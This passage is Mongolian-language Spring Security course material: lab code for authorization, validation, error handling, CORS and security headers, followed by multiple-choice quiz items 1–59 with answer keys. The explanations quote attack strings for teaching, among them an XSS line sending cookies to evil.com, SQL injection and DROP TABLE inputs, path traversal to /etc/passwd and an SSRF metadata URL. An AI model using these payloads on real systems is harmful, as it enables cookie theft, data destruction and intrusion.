// Зөвхөн ADMIN, TEACHER нэмж чадна
@PostMapping
@PreAuthorize("hasAnyRole('ADMIN', 'TEACHER')")
public StudentResponse create(@Valid @RequestBody CreateStudentRequest request) { ... }
// Зөвхөн ADMIN устгаж чадна
@DeleteMapping("/{id}")
@PreAuthorize("hasRole('ADMIN')")
public void delete(@PathVariable Long id) { ... }
// Өөрийнхөө мэдээлэл эсвэл ADMIN
@GetMapping("/{id}")
@PreAuthorize("hasRole('ADMIN') or @securityService.isOwner(#id, authentication)")
public StudentResponse getById(@PathVariable Long id) { ... }
}
3.4 Лаб 3: Input Validation + Error Handling
Алхам 1: Validation DTO
public class CreateStudentRequest {
@NotBlank(message = "Нэр заавал оруулна")
@Size(min = 2, max = 100, message = "Нэр 2-100 тэмдэгт байна")
private String name;
@NotBlank(message = "Email заавал оруулна")
@Email(message = "Email формат буруу")
private String email;
@NotNull(message = "GPA заавал оруулна")
@DecimalMin(value = "0.0", message = "GPA 0-оос бага байж болохгүй")
@DecimalMax(value = "4.0", message = "GPA 4.0-оос их байж болохгүй")
private BigDecimal gpa;
@NotNull(message = "Тэнхим заавал сонгоно")
private Long departmentId;
// Getters, Setters
}
Алхам 2: Global Exception Handler
@RestControllerAdvice
public class GlobalExceptionHandler {
// Validation алдаа
@ExceptionHandler(MethodArgumentNotValidException.class)
public ResponseEntity<ErrorResponse> handleValidation(MethodArgumentNotValidException ex) {
Map<String, String> errors = new HashMap<>();
ex.getBindingResult().getFieldErrors().forEach(error ->
errors.put(error.getField(), error.getDefaultMessage())
);
return ResponseEntity.badRequest()
.body(new ErrorResponse(400, "Оролтын алдаа", errors));
}
// Authentication алдаа
@ExceptionHandler(AccessDeniedException.class)
public ResponseEntity<ErrorResponse> handleAccessDenied(AccessDeniedException ex) {
return ResponseEntity.status(403)
.body(new ErrorResponse(403, "Хандах эрхгүй", null));
}
// Ерөнхий алдаа — Дэлгэрэнгүй мэдээлэл БУЦААХГҮЙ (аюулгүй)
@ExceptionHandler(Exception.class)
public ResponseEntity<ErrorResponse> handleGeneral(Exception ex) {
// Production: Дотоод алдааг хэрэглэгчид ХАРУУЛАХГҮЙ
log.error("Internal error: ", ex);
return ResponseEntity.status(500)
.body(new ErrorResponse(500, "Серверийн алдаа", null));
}
}
public record ErrorResponse(int status, String message, Object errors) {}
⚠️ Чухал: Production-д stack trace, DB алдаа зэрэг дотоод мэдээллийг хэрэглэгчид ХЭЗЭЭ Ч буцаахгүй! Халдагчид ашиглана.
3.5 Лаб 4: CORS + Security Headers + application.yml
Алхам 1: application.yml тохиргоо
# application.yml
spring:
datasource:
url: jdbc:postgresql://localhost:5432/studentdb
username: ${DB_USERNAME} # ENV variable → Кодонд password байхгүй!
password: ${DB_PASSWORD}
jwt:
secret: ${JWT_SECRET} # ENV variable
expiration: 86400000 # 24 цаг (ms)
server:
error:
include-message: never # Алдааны дэлгэрэнгүй НУУХ
include-stacktrace: never # Stack trace НУУХ
Алхам 2: CORS тохиргоо
@Configuration
public class CorsConfig implements WebMvcConfigurer {
@Override
public void addCorsMappings(CorsRegistry registry) {
registry.addMapping("/api/**")
.allowedOrigins("https://myapp.com") // Зөвхөн энэ domain!
.allowedMethods("GET", "POST", "PUT", "DELETE")
.allowedHeaders("Authorization", "Content-Type")
.allowCredentials(true)
.maxAge(3600);
}
}
Алхам 3: Security Headers
// SecurityConfig дотор
http.headers(headers -> headers
.contentSecurityPolicy(csp ->
csp.policyDirectives("default-src 'self'; script-src 'self'"))
.frameOptions(frame -> frame.deny())
.httpStrictTransportSecurity(hsts ->
hsts.maxAgeInSeconds(31536000).includeSubDomains(true))
.contentTypeOptions(Customizer.withDefaults())
);
Тест хийх:
# 1. Бүртгүүлэх
curl -X POST http://localhost:8080/api/auth/register \
-H "Content-Type: application/json" \
-d '{"name":"Бат","email":"bat@test.com","password":"Password123!"}'
# Хариу: {"token":"eyJ...","email":"bat@test.com","role":"STUDENT"}
# 2. Нэвтрэх
curl -X POST http://localhost:8080/api/auth/login \
-H "Content-Type: application/json" \
-d '{"email":"bat@test.com","password":"Password123!"}'
# 3. JWT token-тэй хүсэлт
curl -X GET http://localhost:8080/api/students \
-H "Authorization: Bearer eyJ..."
# 4. Эрхгүй хүсэлт (STUDENT → DELETE)
curl -X DELETE http://localhost:8080/api/students/1 \
-H "Authorization: Bearer eyJ..."
# → 403 Forbidden
ХЭСЭГ 4: ШАЛГАЛТЫН АСУУЛТ (Knowledge Check — 100 тест)
Тест 1
CIA Triad-ийн 3 тулгуур юу вэ?
- A) Code, Integration, Automation
- B) Confidentiality, Integrity, Availability — Нууцлал, Бүрэн бүтэн, Хүртээмж
- C) Create, Insert, Alter
- D) Client, Internet, Application
Зөв хариулт: B
Тайлбар: CIA = Аюулгүй байдлын суурь. Confidentiality = Зөвхөн зөвшөөрөгдсөн хүн. Integrity = Өгөгдөл зөв. Availability = Хэрэгтэй үедээ ашиглах боломжтой.
Тест 2
OWASP гэж юу вэ?
- A) Програмчлалын хэл
- B) Вэб аюулгүй байдлын НЭЭЛТТЭЙ ТӨСӨЛ — Top 10 эмзэг байдлын жагсаалт гаргадаг
- C) Database
- D) Framework
Зөв хариулт: B
Тайлбар: OWASP = Open Web Application Security Project. OWASP Top 10 = Хамгийн түгээмэл 10 эмзэг байдал. A01: Broken Access Control, A03: Injection зэрэг.
Тест 3
SQL Injection гэж юу вэ?
- A) SQL сурах
- B) Хэрэглэгчийн оролтоор ХОРТОЙ SQL КОД шигтгэж, DB-д зөвшөөрөгдөөгүй үйлдэл хийх
- C) SQL query бичих
- D) Database үүсгэх
Зөв хариулт: B
Тайлбар:
' OR '1'='1' --оролт →WHERE email = '' OR '1'='1'→ Бүх хэрэглэгч буцаана! Prepared Statement ашиглаж сэргийлнэ.
Тест 4
Prepared Statement яагаад SQL Injection-аас хамгаалдаг вэ?
- A) Хурдан учраас
- B) Параметрийг SQL КОД биш, УТГА гэж боловсруулна —
?placeholder - C) Индекс ашигладаг
- D) Transaction ашигладаг
Зөв хариулт: B
Тайлбар:
WHERE email = ?+setString(1, userInput)→"'; DROP TABLE--"байсан ч текст утга гэж боловсруулна. JPA автоматаар Prepared Statement ашиглана.
Тест 5
XSS (Cross-Site Scripting) гэж юу вэ?
- A) CSS стиль
- B) Хортой JAVASCRIPT код вэб хуудсанд шигтгэж, бусад хэрэглэгчийн browser дээр ажиллуулах
- C) HTML бичих
- D) API дуудах
Зөв хариулт: B
Тайлбар:
<script>document.location='evil.com?c='+document.cookie</script>→ Cookie хулгайлах. Output encoding, CSP header-аар хамгаална.
Тест 6
Stored XSS ба Reflected XSS-ийн ялгаа юу вэ?
- A) Ялгаагүй
- B) Stored = DB-д ХАДГАЛАГДСАН хортой script, Reflected = URL parameter-аар ДАМЖСАН script
- C) Stored = URL-д
- D) Reflected = DB-д
Зөв хариулт: B
Тайлбар: Stored XSS = Comment дотор script → Бүх хэрэглэгчид нөлөөлнө (илүү аюултай). Reflected XSS = Хортой URL дарах хэрэгтэй → Нэг хэрэглэгчид.
Тест 7
CSRF (Cross-Site Request Forgery) гэж юу вэ?
- A) Кодын алдаа
- B) Хэрэглэгчийг МЭДЭХГҮЙД нь хортой хүсэлт ИЛГЭЭЛГЭХ — Session cookie автоматаар дагалдана
- C) SQL халдлага
- D) XSS халдлага
Зөв хариулт: B
Тайлбар: Хэрэглэгч bank.com-д нэвтэрсэн → evil.com зочилно → evil.com bank.com/transfer POST хийнэ → Cookie дагалдана → Мөнгө шилжинэ! CSRF token-аар хамгаална.
Тест 8
Authentication ба Authorization-ийн ялгаа юу вэ?
- A) Ялгаагүй
- B) Authentication = "Чи ХЭН бэ?" (нэвтрэлт), Authorization = "Юу хийх ЭРХ байна?" (зөвшөөрөл)
- C) Authentication = Эрх, Authorization = Нэвтрэлт
- D) Хоёулаа нэвтрэлт
Зөв хариулт: B
Тайлбар: AuthN = Login (email + password). AuthZ = ADMIN бол устгаж чадна, STUDENT бол зөвхөн харах. Эхлээд AuthN → Дараа AuthZ.
Тест 9
Password-г plaintext хадгалах нь яагаад АЮУЛТАЙ вэ?
- A) Аюулгүй
- B) DB задарвал БҮХ хэрэглэгчийн password ШУУД харагдана
- C) Хурдан учраас
- D) Зөвхөн нэг хэрэглэгчид
Зөв хариулт: B
Тайлбар: Plaintext =
password: "myPassword"DB-д. DB hack → Бүх password → Бусад сайтад ч ашиглана (password reuse). bcrypt ашиглах!
Тест 10
bcrypt яагаад MD5/SHA-аас аюулгүй вэ?
- A) Хурдан учраас
- B) ЗОРИУДААР УДААН + АВТОМАТ SALT → Rainbow table, brute force халдлагад тэсвэртэй
- C) Шинэ учраас
- D) Жижиг учраас
Зөв хариулт: B
Тайлбар: MD5 = Сая hash/сек (brute force хялбар). bcrypt = 10-100 hash/сек (зориудаар удаан). Salt = Ижил password → Өөр hash. Rainbow table АЖИЛЛАХГҮЙ.
Тест 11
Salt гэж юу вэ?
- A) Шифрлэлт
- B) Password hash-д нэмэх ДАВТАГДАШГҮЙ ТОХИОЛДОЛТ утга — Ижил password → Өөр hash
- C) Token
- D) Key
Зөв хариулт: B
Тайлбар: Salt-гүй: "password" →
5f4dcc3b...(бүгд ижил hash). Salt-тэй: "password" + random_salt →$2a$12$LJ3m...(бүгд өөр). bcrypt автоматаар salt нэмнэ.
Тест 12
JWT (JSON Web Token) гэж юу вэ?
- A) Session
- B) STATELESS authentication TOKEN — Header.Payload.Signature бүтэцтэй
- C) Password
- D) Cookie
Зөв хариулт: B
Тайлбар: JWT = Сервер session хадгалахгүй. Token дотор хэрэглэгчийн мэдээлэл (email, role) + signature. Client хадгалж, хүсэлт бүрт илгээнэ.
Тест 13
JWT-ийн 3 хэсэг юу вэ?
- A) User, Password, Role
- B) Header (алгоритм), Payload (мэдээлэл), Signature (гарын үсэг)
- C) Token, Session, Cookie
- D) Key, Value, Hash
Зөв хариулт: B
Тайлбар: Header =
{"alg":"HS256"}. Payload ={"sub":"bat@test.com","role":"ADMIN"}. Signature = HMAC(Header + Payload, secret). Signature → Token өөрчлөгдөөгүйг баталгаажуулна.
Тест 14
JWT vs Session-ийн гол ялгаа юу вэ?
- A) Ялгаагүй
- B) JWT = Client дээр хадгалагдана (STATELESS), Session = Сервер дээр (STATEFUL)
- C) JWT = Сервер дээр
- D) Session = Client дээр
Зөв хариулт: B
Тайлбар: Session = Сервер memory/DB-д. Олон сервер бол session sync хэрэгтэй. JWT = Token бие даасан → Scale хялбар. Микросервисд тохиромжтой.
Тест 15
RBAC (Role-Based Access Control) гэж юу вэ?
- A) Хэрэглэгч бүрт тусдаа эрх
- B) Хэрэглэгчид ДҮРД оноож, дүр бүрт ЭРХҮҮД олгох — ADMIN, TEACHER, STUDENT
- C) Бүгдэд ижил эрх
- D) Эрхгүй
Зөв хариулт: B
Тайлбар: RBAC = Бат → ADMIN → [CREATE, READ, UPDATE, DELETE]. Сараа → STUDENT → [READ].
@PreAuthorize("hasRole('ADMIN')")= Зөвхөн ADMIN.
Тест 16
@PreAuthorize("hasRole('ADMIN')") юу хийдэг вэ?
- A) Бүгдэд зөвшөөрөх
- B) Зөвхөн ADMIN дүртэй хэрэглэгч энэ METHOD руу хандах боломжтой
- C) Бүгдийг хориглох
- D) Тест ажиллуулах
Зөв хариулт: B
Тайлбар: Method-level security. ADMIN биш хэрэглэгч дуудвал → 403 Forbidden.
hasAnyRole('ADMIN', 'TEACHER')= ADMIN эсвэл TEACHER.
Тест 17
HTTPS яагаад чухал вэ?
- A) Хурдан учраас
- B) HTTP холбоог TLS-ээр ШИФРЛЭЖ, өгөгдлийг замдаа УНШИХ, ӨӨРЧЛӨХ боломжгүй болгох
- C) Зөвхөн дизайн
- D) Зөвхөн хурд
Зөв хариулт: B
Тайлбар: HTTP = Plaintext (password, cookie замдаа харагдана). HTTPS = Шифрлэгдсэн. WiFi-д сууж байгаа хакер HTTPS-ийг тайлж ЧАДАХГҮЙ.
Тест 18
CORS гэж юу вэ?
- A) CSS framework
- B) Өөр ДОМАЙНААС API руу хүсэлт илгээх ЗӨВШӨӨРӨЛ — Browser-ийн аюулгүй байдлын механизм
- C) Database
- D) Тест
Зөв хариулт: B
Тайлбар:
myapp.com→api.myapp.com= Өөр origin. Browser блоклоно.Access-Control-Allow-Origin: https://myapp.comheader → Зөвшөөрнө.
Тест 19
allowedOrigins("*") яагаад АЮУЛТАЙ вэ?
- A) Аюулгүй
- B) АЛИВАА домайнаас хүсэлт зөвшөөрнө — Хортой сайт таны API ашиглаж чадна
- C) Хурдан учраас
- D) Зөвхөн тестэд
Зөв хариулт: B
Тайлбар:
*= evil.com ч хүсэлт илгээж чадна. Production-дallowedOrigins("https://myapp.com")гэж ЗӨВ домайн зааж өгөх.
Тест 20
Input Validation яагаад чухал вэ?
- A) Шаардлагагүй
- B) "Never trust user input" — SQL Injection, XSS, Path Traversal зэрэг халдлагаас ХАМГААЛАХ
- C) Зөвхөн формат
- D) Зөвхөн тест
Зөв хариулт: B
Тайлбар: Хэрэглэгч
' OR 1=1,<script>,../../etc/passwdоруулж болно. @Valid, @NotBlank, @Email, @Size = Зөвхөн ЗӨВШӨӨРӨГДСӨН оролтыг хүлээн авна.
Тест 21
@NotBlank ба @NotNull-ийн ялгаа юу вэ?
- A) Ялгаагүй
- B) @NotNull = null биш, @NotBlank = null биш + ХООСОН ТЕКСТ биш ("" биш, " " биш)
- C) @NotBlank = null зөвшөөрнө
- D) @NotNull = хоосон хориглоно
Зөв хариулт: B
Тайлбар:
@NotNull= null хориглоно, "" зөвшөөрнө.@NotBlank= null, "", " " бүгдийг хориглоно. String-д@NotBlankашиглах.
Тест 22
Spring Security Filter Chain юу хийдэг вэ?
- A) Код compile хийх
- B) HTTP хүсэлт бүрийг ШҮҮЛТҮҮРҮҮДЭЭР дамжуулж, CORS, CSRF, Authentication, Authorization ШАЛГАХ
- C) Database холбох
- D) HTML үүсгэх
Зөв хариулт: B
Тайлбар: Request → CORS Filter → CSRF Filter → JWT Auth Filter → Authorization → Controller. Аль нэг filter хориглосон бол → Controller хүрэхгүй (401/403).
Тест 23
SessionCreationPolicy.STATELESS юу хийдэг вэ?
- A) Session үүсгэх
- B) Spring Security SESSION үүсгэхгүй — JWT ашиглахад тохиромжтой
- C) Cookie үүсгэх
- D) Token устгах
Зөв хариулт: B
Тайлбар: JWT = Stateless → Server session хэрэггүй.
STATELESS= HttpSession үүсгэхгүй. Хүсэлт бүрт JWT token шалгана. Scale хялбар.
Тест 24
Content-Security-Policy (CSP) header юу хийдэг вэ?
- A) CORS тохируулах
- B) Browser-д ямар эх сурвалжаас SCRIPT, STYLE ачаалахыг ХЯЗГААРЛАХ — XSS хамгаалалт
- C) Password шалгах
- D) JWT шалгах
Зөв хариулт: B
Тайлбар:
default-src 'self'; script-src 'self'= Зөвхөн өөрийн домайнаас script ачаална.evil.com-оос script → Блоклогдоно. XSS-ийн нэмэлт хамгаалалт.
Тест 25
X-Frame-Options: DENY юу хийдэг вэ?
- A) Frame зөвшөөрөх
- B) Вэб хуудсыг iframe дотор ОРУУЛАХЫГ хориглох — Clickjacking халдлагаас хамгаалах
- C) CSS хориглох
- D) JS хориглох
Зөв хариулт: B
Тайлбар: Clickjacking = Хортой iframe → Хэрэглэгч "Play" дарна гэж бодох → Бодит дээр "Delete Account" дарна. DENY = iframe дотор байж БОЛОХГҮЙ.
Тест 26
Rate Limiting яагаад хэрэгтэй вэ?
- A) Хурдасгах
- B) Brute force, DDoS халдлагаас ХАМГААЛАХ — Хүсэлтийн тоог хязгаарлах
- C) Код бичих
- D) Тест хийх
Зөв хариулт: B
Тайлбар: Brute force = Нэвтрэх 10,000 удаа оролдох. Rate Limit = 5 удаа/мин → 6 дахь → 429 Too Many Requests. Халдлагыг удаашруулна.
Тест 27
MFA / 2FA гэж юу вэ?
- A) Нэг хүчин зүйл
- B) Password + НЭМЭЛТ баталгаажуулалт (OTP, SMS, Authenticator app) — 2 ХҮЧИН ЗҮЙЛТ нэвтрэлт
- C) Зөвхөн password
- D) Зөвхөн SMS
Зөв хариулт: B
Тайлбар: 1FA = Password (мэдэх зүйл). 2FA = Password + OTP (эзэмших зүйл). Password задарсан ч OTP-гүй бол нэвтрэхгүй. ADMIN account-д ЗААВАЛ.
Тест 28
Least Privilege зарчим юу вэ?
- A) Бүх эрх олгох
- B) Хэрэглэгчид ШААРДЛАГАТАЙ хамгийн БАГА эрх олгох
- C) Эрх олгохгүй
- D) Admin бүгдэд
Зөв хариулт: B
Тайлбар: STUDENT-д DELETE эрх хэрэггүй → Олгохгүй. DB user-д DROP DATABASE эрх хэрэггүй → Олгохгүй. Хамгийн бага = Хамгийн аюулгүй.
Тест 29
Defense in Depth зарчим юу вэ?
- A) Нэг давхар хамгаалалт
- B) ОЛОН ДАВХАР хамгаалалт — Нэг давхар эвдэрсэн ч бусад нь хамгаална
- C) Хамгаалалтгүй
- D) Зөвхөн firewall
Зөв хариулт: B
Тайлбар: Давхар 1: Firewall. Давхар 2: HTTPS. Давхар 3: Authentication. Давхар 4: Authorization. Давхар 5: Input Validation. Давхар 6: Encryption. Нэг эвдэрсэн ч бусад хамгаална.
Тест 30
OWASP Top 10-ийн A01 юу вэ?
- A) SQL Injection
- B) Broken Access Control — ЗӨВШӨӨРӨЛГҮЙ ХАНДАЛТ (admin endpoint руу энгийн хэрэглэгч)
- C) XSS
- D) CSRF
Зөв хариулт: B
Тайлбар: A01 = #1 эмзэг байдал.
/api/admin/usersendpoint-д authorization шалгаагүй → Энгийн хэрэглэгч admin функц ашиглана.@PreAuthorizeашиглах!
Тест 31
server.error.include-stacktrace: never юу хийдэг вэ?
- A) Stack trace харуулах
- B) Алдааны STACK TRACE-г хэрэглэгчид НУУХ — Халдагчид дотоод мэдээлэл өгөхгүй
- C) Алдаа засах
- D) Лог бичих
Зөв хариулт: B
Тайлбар: Stack trace = Class нэр, method, line number, DB холболтын мэдээлэл. Халдагч ашиглана! Production-д:
include-stacktrace: never,include-message: never.
Тест 32
Dependency vulnerability шалгах хэрэгсэл аль нь вэ?
- A) JUnit
- B) OWASP Dependency-Check, Snyk, GitHub Dependabot — Library эмзэг байдлыг автомат ШАЛГАХ
- C) Checkstyle
- D) SonarQube
Зөв хариулт: B
Тайлбар: Log4Shell (2021) = Log4j dependency-ийн эмзэг байдал. Dependency-Check =
mvn dependency-check:check→ CVE жагсаалт. Dependabot = Автомат update PR.
Тест 33
@Valid annotation юу хийдэг вэ?
- A) Тест ажиллуулах
- B) Request body-ийн VALIDATION annotation-уудыг ИДЭВХЖҮҮЛЭХ (@NotBlank, @Email, @Size)
- C) Auth шалгах
- D) CORS тохируулах
Зөв хариулт: B
Тайлбар:
@PostMapping+@Valid @RequestBody CreateStudentRequest= name @NotBlank, email @Email бүгдийг шалгана. Validation fail → 400 Bad Request.
Тест 34
HttpOnly cookie attribute юу хийдэг вэ?
- A) Cookie устгах
- B) JavaScript-аас cookie-д ХАНДАХ БОЛОМЖГҮЙ болгох — XSS-ээр cookie хулгайлахаас хамгаалах
- C) Cookie шифрлэх
- D) Cookie хэмжээ
Зөв хариулт: B
Тайлбар:
HttpOnly = true→document.cookie= Хоосон (JS харахгүй). XSS халдлагаар cookie авч ЧАДАХГҮЙ. Session cookie-д ЗААВАЛ.
Тест 35
OAuth 2.0 гэж юу вэ?
- A) Password хадгалалт
- B) ГУРАВДАГЧ ТАЛЫН нэвтрэлт стандарт — "Google-ээр нэвтрэх", "GitHub-ээр нэвтрэх"
- C) Шифрлэлт
- D) Database
Зөв хариулт: B
Тайлбар: OAuth 2.0 = Хэрэглэгч Google-д нэвтрэх → Google token өгөх → Таны апп token-аар хэрэглэгчийн мэдээлэл авах. Password таны серверт БАЙХГҮЙ → Аюулгүй.
Тест 36
SSO (Single Sign-On) гэж юу вэ?
- A) Олон удаа нэвтрэх
- B) 1 УДАА нэвтрэж, ОЛОН систем рүү хандах — Keycloak, Okta
- C) Password хадгалах
- D) Token устгах
Зөв хариулт: B
Тайлбар: SSO = Keycloak-д нэвтрэх → student-api ✅, teacher-api ✅, admin-portal ✅. Хэрэглэгчид хялбар, нэг газар удирдах.
Тест 37
STRIDE загварын "S" юу вэ?
- A) Security
- B) Spoofing — ХУУРАМЧ нэрээр нэвтрэх
- C) SQL
- D) Session
Зөв хариулт: B
Тайлбар: Spoofing = Хуурамч email, хуурамч IP, хуурамч token. Хамгаалалт: Strong authentication (JWT, MFA). STRIDE = Threat Modeling загвар.
Тест 38
STRIDE загварын "T" юу вэ?
- A) Testing
- B) Tampering — Өгөгдөл ӨӨРЧЛӨХ (DB, request body, cookie)
- C) Token
- D) Transaction
Зөв хариулт: B
Тайлбар: Tampering = Request body өөрчлөх, DB өгөгдөл солих. Хамгаалалт: Digital signature, Hash, HTTPS, Input validation.
Тест 39
Threat Modeling гэж юу вэ?
- A) Код бичих
- B) Системийн АЮУЛЫГ УРЬДЧИЛАН тодорхойлж, хамгаалалт ТӨЛӨВЛӨХ
- C) Тест бичих
- D) Deploy хийх
Зөв хариулт: B
Тайлбар: Дизайн шатанд: "Хэн халдаж болох?", "Хаана сул тал?", "Яаж хамгаалах?" STRIDE загвар ашиглан аюулыг жагсааж, хамгаалалт нэмнэ.
Тест 40
BCryptPasswordEncoder(12) дахь 12 юу вэ?
- A) Password урт
- B) STRENGTH (cost factor) — 2^12 = 4096 удаа давтамж → Илүү УДААН = Илүү АЮУЛГҮЙ
- C) Salt урт
- D) Hash урт
Зөв хариулт: B
Тайлбар: strength = 10 → ~100ms. strength = 12 → ~300ms. strength = 14 → ~1sec. Илүү өндөр = Илүү удаан hash = Brute force илүү хэцүү. Зөвлөмж: 10-14.
Тест 41
Authorization: Bearer eyJ... header юу вэ?
- A) Cookie
- B) HTTP хүсэлтэд JWT TOKEN-г дамжуулах стандарт арга
- C) Password
- D) Session ID
Зөв хариулт: B
Тайлбар:
Authorization: Bearer <jwt_token>= Client JWT token-г header-ээр илгээнэ. Server header-аас token авч, шалгаж, хэрэглэгчийг таньна.
Тест 42
JWT token-г хаана хадгалах вэ (Client)?
- A) URL-д
- B) HttpOnly cookie эсвэл Memory (JavaScript variable) — localStorage АЮУЛТАЙ
- C) localStorage
- D) Plain cookie
Зөв хариулт: B
Тайлбар: localStorage = XSS-ээр хулгайлах хялбар. HttpOnly cookie = JS хандахгүй → XSS-ээс аюулгүй. Memory = Tab хаахад устна (хамгийн аюулгүй, хамгийн тохиромжгүй).
Тест 43
JWT token expire болсон бол юу болдог вэ?
- A) Үргэлжлүүлэн ажиллана
- B) Сервер 401 Unauthorized БУЦААНА — Client дахин нэвтрэх эсвэл refresh token ашиглах
- C) 403 Forbidden
- D) 500 Error
Зөв хариулт: B
Тайлбар: JWT payload дотор
exp(expiration time). Expire болсон =isTokenExpired() = true→ 401. Refresh token ашиглаж шинэ access token авна.
Тест 44
Path Traversal халдлага гэж юу вэ?
- A) URL path зөв бичих
- B)
../../etc/passwdоролтоор СИСТЕМИЙН файлд зөвшөөрөгдөөгүй ХАНДАХ - C) API endpoint
- D) CORS
Зөв хариулт: B
Тайлбар:
GET /api/files?name=../../etc/passwd→ Серверийн нууц файл уншина! Input validation + Path canonicalization + Whitelist ашиглаж хамгаална.
Тест 45
Security Misconfiguration (OWASP A05) гэж юу вэ?
- A) Зөв тохиргоо
- B) DEFAULT password, DEBUG mode ON, шаардлагагүй endpoint НЭЭЛТТЭЙ зэрэг ТОХИРГООНЫ АЛДАА
- C) Код алдаа
- D) Тест алдаа
Зөв хариулт: B
Тайлбар: Default:
admin/admin,H2 console нээлттэй,actuator/env нээлттэй,debug=true. Production-д: Default password солих, шаардлагагүй endpoint хаах!
Тест 46
requestMatchers("/api/auth/**").permitAll() юу хийдэг вэ?
- A) Бүгдийг хориглох
- B)
/api/auth/доорх endpoint-уудыг НЭВТРЭЛТГҮЙ зөвшөөрөх (login, register) - C) Зөвхөн ADMIN
- D) Бүгдэд зөвшөөрөх
Зөв хариулт: B
Тайлбар:
permitAll()= Authentication шаардахгүй. Login, register = Нэвтрээгүй хэрэглэгч дуудна → Нээлттэй байх ёстой.anyRequest().authenticated()= Бусад бүгд нэвтрэлт шаардана.
Тест 47
Sensitive Data Exposure гэж юу вэ?
- A) Код нээлттэй
- B) Password, credit card, хувийн мэдээлэл зэрэг НУУЦ ӨГӨГДЛИЙГ зохисгүй ЗАДРУУЛАХ
- C) API нээлттэй
- D) Database нээлттэй
Зөв хариулт: B
Тайлбар: HTTP ашиглах (HTTPS биш), лог-д password бичих, response-д хэрэггүй мэдээлэл буцаах, error message-д DB дэлгэрэнгүй. Шифрлэлт + Least privilege + Лог хянах.
Тест 48
@Email annotation юу хийдэг вэ?
- A) Email илгээх
- B) Оролт EMAIL ФОРМАТ-д нийцэж буй эсэхийг ШАЛГАХ (xxx@xxx.xxx)
- C) Email хадгалах
- D) Email устгах
Зөв хариулт: B
Тайлбар:
bat@test.com✅,bat@❌,bat❌. Bean Validation (JSR 380).@Valid+
Тест 49
@Size(min = 8) password-д яагаад ашигладаг вэ?
- A) Хурдасгах
- B) Богино password BRUTE FORCE-д ЭМЗЭГ — 8+ тэмдэгт шаардах
- C) Хадгалалт хэмнэх
- D) Hash хурдасгах
Зөв хариулт: B
Тайлбар: 4 тэмдэгт = 10 сая боломж (секундэд). 8 тэмдэгт = 218 триллион боломж (хэдэн жил). 12+ тэмдэгт = Маш аюулгүй. NIST: 8+ тэмдэгт.
Тест 50
addFilterBefore(jwtAuthFilter, UsernamePasswordAuthenticationFilter.class) юу хийдэг вэ?
- A) Filter устгах
- B) JWT Auth Filter-г USERNAME/PASSWORD filter-ийн ӨМНӨ нэмэх — JWT эхлээд шалгана
- C) Filter дарааллыг устгах
- D) Бүх filter хасах
Зөв хариулт: B
Тайлбар: Filter chain дараалал чухал. JWT filter эхлээд → Token шалгаж → Authentication тохируулж → Дараагийн filter рүү дамжуулна. Дараалал буруу бол ажиллахгүй.
Тест 51
Symmetric vs Asymmetric Encryption-ийн ялгаа юу вэ?
- A) Ялгаагүй
- B) Symmetric = НЭГ түлхүүр (AES), Asymmetric = ХОЁР түлхүүр (нийтийн + хувийн, RSA)
- C) Symmetric = Хоёр түлхүүр
- D) Asymmetric = Нэг түлхүүр
Зөв хариулт: B
Тайлбар: AES (symmetric) = Нэг key-ээр encrypt + decrypt. Хурдан. RSA (asymmetric) = Public key encrypt, private key decrypt. HTTPS = Хоёуланг хослуулна.
Тест 52
TLS Handshake юу хийдэг вэ?
- A) Password шалгах
- B) Client ба Server хооронд АЮУЛГҮЙ ШИФРЛЭГДСЭН ХОЛБОО тогтоох
- C) Token үүсгэх
- D) Database холбох
Зөв хариулт: B
Тайлбар: ClientHello → ServerHello + Certificate → Key Exchange → Finished. Дараа нь бүх өгөгдөл шифрлэгдсэн channel-аар дамжина. HTTPS = HTTP + TLS.
Тест 53
Rainbow Table халдлага гэж юу вэ?
- A) Өнгөний хүснэгт
- B) Урьдчилан тооцсон hash:password ХҮСНЭГТЭЭР password тайлах
- C) SQL халдлага
- D) XSS халдлага
Зөв хариулт: B
Тайлбар: MD5("password") =
5f4dcc3b...→ Rainbow table-д байна → "password" олдлоо! bcrypt + salt = Hash бүр өөр → Rainbow table АЖИЛЛАХГҮЙ.
Тест 54
@RestControllerAdvice юу хийдэг вэ?
- A) Controller үүсгэх
- B) БҮХ controller-ийн АЛДААГ нэг газраас УДИРДАХ (Global Exception Handler)
- C) Service үүсгэх
- D) Repository үүсгэх
Зөв хариулт: B
Тайлбар:
@RestControllerAdvice+@ExceptionHandler(...)= Validation алдаа → 400, AccessDenied → 403, Exception → 500. Алдааг нэг газраас стандарт хэлбэрээр буцаах.
Тест 55
Production-д алдааны дэлгэрэнгүй мэдээлэл яагаад НУУХ ёстой вэ?
- A) Хэрэглэгчид хэрэггүй
- B) Халдагч ДОТООД мэдээллийг (DB нэр, class нэр, stack trace) ашиглаж НЭМЭЛТ ХАЛДЛАГА хийнэ
- C) Зөвхөн дизайн
- D) Хурдасгах
Зөв хариулт: B
Тайлбар:
org.postgresql.util.PSQLException: relation "users" does not exist→ Халдагч: DB = PostgreSQL, Table = users. Мэдээлэл = Зэвсэг. Production: Generic message буцаах.
Тест 56
Secure cookie attribute юу хийдэг вэ?
- A) Cookie устгах
- B) Cookie-г зөвхөн HTTPS холбоогоор илгээх — HTTP-ээр илгээхгүй
- C) Cookie шифрлэх
- D) Cookie хэмжээ
Зөв хариулт: B
Тайлбар:
Secure = true→ HTTP (шифрлэгдээгүй) дээр cookie илгээхгүй. WiFi сүлжээнд cookie-г хулгайлахаас хамгаална. HTTPS + Secure + HttpOnly = Аюулгүй cookie.
Тест 57
SSRF (Server-Side Request Forgery) гэж юу вэ?
- A) Client халдлага
- B) Серверийг ашиглан ДОТООД сүлжээ рүү хүсэлт илгээлгэх (OWASP A10)
- C) SQL халдлага
- D) XSS
Зөв хариулт: B
Тайлбар:
GET /api/fetch?url=http://169.254.169.254/meta-data→ AWS metadata (API key) авах! Server URL хүсэлт илгээхийг хязгаарлах. Whitelist domain ашиглах.
Тест 58
Zero Trust аюулгүй байдлын загвар юу вэ?
- A) Бүгдэд итгэх
- B) "ХЭНД Ч итгэхгүй, БҮГДИЙГ шалгах" — Дотоод сүлжээ ч итгэлгүй
- C) Зөвхөн firewall
- D) Зөвхөн VPN
Зөв хариулт: B
Тайлбар: Уламжлалт: Дотоод сүлжээ = Аюулгүй (castle). Zero Trust: Дотоод ч ИТГЭЛГҮЙ. Хүсэлт бүрт authentication + authorization. Микросервисд чухал.
Тест 59
CVE гэж юу вэ?
- A) Програмчлалын хэл
- B) Common Vulnerabilities and Exposures — Эмзэг байдлын СТАНДАРТ ДУГААРЛАЛТ (CVE-2021-44228)
- C) Framework
- D) Database
Зөв хариулт: B
